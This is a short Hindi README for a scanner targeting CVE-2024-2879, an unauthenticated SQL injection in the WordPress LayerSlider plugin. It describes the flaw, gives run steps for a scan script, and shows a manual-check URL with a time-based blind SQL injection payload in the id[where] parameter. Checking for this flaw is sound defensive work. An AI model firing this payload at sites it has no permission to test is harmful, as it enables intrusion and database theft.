CVE-2024-2879

विवरण

LayerSlider 7.9.11 - 7.10.0 - अप्रमाणित SQL इंजेक्शन

वर्डप्रेस के लिए LayerSlider प्लगइन, संस्करण 7.9.11 और 7.10.0 में, ls_get_popup_markup कार्रवाई के माध्यम से SQL इंजेक्शन के लिए संवेदनशील है, जो उपयोगकर्ता द्वारा प्रदान किए गए पैरामीटर पर अपर्याप्त एस्केपिंग और मौजूदा SQL क्वेरी पर पर्याप्त तैयारी की कमी के कारण होता है। इससे अप्रमाणित हमलावरों के लिए मौजूदा क्वेरी में अतिरिक्त SQL क्वेरी जोड़ना संभव हो जाता है, जिनका उपयोग डेटाबेस से संवेदनशील जानकारी निकालने के लिए किया जा सकता है।

स्कैनर उपयोग

1. आवश्यकताएँ स्थापित करें: pip install -r requirements.txt
2. python3 scan.py या <urllist.txt>

यदि वेबसाइट WAF से सुरक्षित नहीं है तो मैन्युअल जाँच

"http://site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and (SELECT 6416 FROM (SELECT(SLEEP(5)))nEiK)-- vqlq" 5 सेकंड विलंब प्रतिक्रिया समय